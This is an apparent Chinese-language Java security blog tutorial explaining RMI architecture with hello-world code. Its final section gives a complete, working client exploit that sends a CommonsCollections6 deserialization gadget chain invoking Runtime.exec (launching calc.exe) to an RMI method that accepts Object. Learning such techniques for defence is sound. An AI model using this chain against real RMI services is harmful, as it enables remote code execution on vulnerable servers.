本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】RMI
前言
RMI
全称为:Remote Method Invocation
远程方法调用,是java独立的一种机制。
RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法
在网络传输的过程中,RMI
中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI
服务端在接收到序列化后的会将对象进行反序列化。
在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI
就可以作为反序列化利用链的触发点 *****
RMI的组成
RMI主要分为三个部分:
- Client客户端:客户端调用服务端的方法
- Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
- Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用
RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样
唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端
为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。
RMI Register 像一个网关,自己不会执行远程方法,但是RMI Server可以在上面注册一个Name到对象的绑定关系,RMI Client通过这个Name向RMI Registry查询,获得绑定关系,然后连接RMI Server。最后,远程方法在RMI Server上调用
RMI实现
Server
一个RMIServer
分为三个部分:
- 一个继承了
java.rmi.Remote
的接口,其中定义我们想要远程调用的函数,比如这里的hello()
- 一个实现了此接口的类,此类实现了函数体,并且继承
UnicastRemoteObject
类
- 一个主类,用来创建
Registry
,并将上面的类实例化后绑定到一个地址。这就是所谓Server了
0x01 编写一个远程接口
1 2 3
| public interface IRemoteHelloWorld extends Remote { public String hello() throws RemoteException; }
|
- 这个接口需要使用
public
声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起)
- 继承
java.rmi.Remote
接口
- 接口的方法需要抛出
RemoteException
异常
0x02 实现该远程接口
1 2 3 4 5 6 7 8 9
| public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{ protected RemoteHelloWorld() throws RemoteException { }
public String hello() throws RemoteException { System.out.println("hello~~~()"); return "Hello,World!"; } }
|
- 该类实现远程接口
- 继承
UnicastRemoteObject
类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
- 构造方法抛出
RemoteException
异常
- 实现类中使用的对象必须都可序列化,即都继承
java.io.Serilizable
0x03 Registry注册远程对象
上面我们已经把远程调用的类创建好了,接下来我们怎么创建并调用它呢?
Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。
这种思想是由:java.rmi.registry.Registry
和java.rmi.Nameing
来实现的
先说:java.rmi.Nameing
,这是一个final
类,提供了在远程对象注册表中存储和获取远程对象引用的方法
这个类的每个方法中都有一个URL
格式的参数,格式为://host:port/ObjectName
- host表示注册表所在的主机
- port表示注册表接受调用的端口号,默认1099
- name表示一个注册的
Remote Object
的引用名称
那么就好理解了,我们实现了服务端待调用的对象,现在我们需要利用Naming.rebind()
函数将其注册到register
中
步骤:
- 利用
LocateRegistry.createRegistry(1099);
创建registry注册中心
- 实例化远程对象
- 将实例化对象绑定到
registry注册中心
1 2 3 4 5 6 7 8 9 10
| public class RemoteServer { public static void main(String[] args) throws RemoteException, MalformedURLException { LocateRegistry.createRegistry(1099); RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld(); Naming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); } }
|
服务端我们已经搭建好了
Client
接下来我们需要搭建客户端,来远程执行服务器上的对象方法。
步骤如下:
- 使用
Naming
通过名字找到registry
中绑定的对象
- 调用对象的方法
这里我们使用Naming.lookup()
方法寻找registry
的对象
1 2 3 4 5 6 7 8
| public class Client { public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException { IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos"); String hello = iRemoteHelloWorld.hello(); System.out.println(hello);
} }
|
小疑问
首先执行服务端:
接着执行客户端:
在客户端的控制台成功返回Hello,World!
此处我们发现了一个现象,为什么对象方法输出的hello~~~()
字符串在服务端输出呢?
这刚好证明了RMI中远程方法是在服务端调用的,并将方法执行结果返回给客户端
RMI攻击
既然我们可以远程调用服务器上的对象的方法,并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object
类型,我们就可以传入构造好的利用链对象,当反序列化时就会触发
IRemoteHelloWorld
1 2 3 4
| public interface IRemoteHelloWorld extends Remote { public String hello() throws RemoteException; public String doWork(Object obj) throws RemoteException; }
|
RemoteHelloWorld
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{ protected RemoteHelloWorld() throws RemoteException { }
public String hello() throws RemoteException { System.out.println("hello~~~()"); return "Hello,World!"; }
public String doWork(Object obj) throws RemoteException { return "doWorking~~"; } }
|
RemoteServer
1 2 3 4 5 6 7 8 9 10
| public class RemoteServer { public static void main(String[] args) throws RemoteException, MalformedURLException { LocateRegistry.createRegistry(1099); RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld(); Naming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); } }
|
此处使用java反序列化CommonsCollections6
链子
服务端代码如上,但是必须满足相关条件:
- 使用具有漏洞的Commons-Collections3.1组件
- RMI提供的远程对象的方法形参中有Object类型,这样才能实现反序列化链利用
客户端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class Client { public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException { IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos"); Map map = getPayload(); iRemoteHelloWorld.doWork(map); }
public static Map getPayload() throws IllegalAccessException, NoSuchFieldException { Transformer[] fakeTransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class }, new String[]{"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map uselessMap = new HashMap(); Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value"); outerMap.clear(); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformers); return hashMap; }
}
|
使用CommonsCollections6
,可以在高版本java中利用。当我们运行代码时,弹出计算器: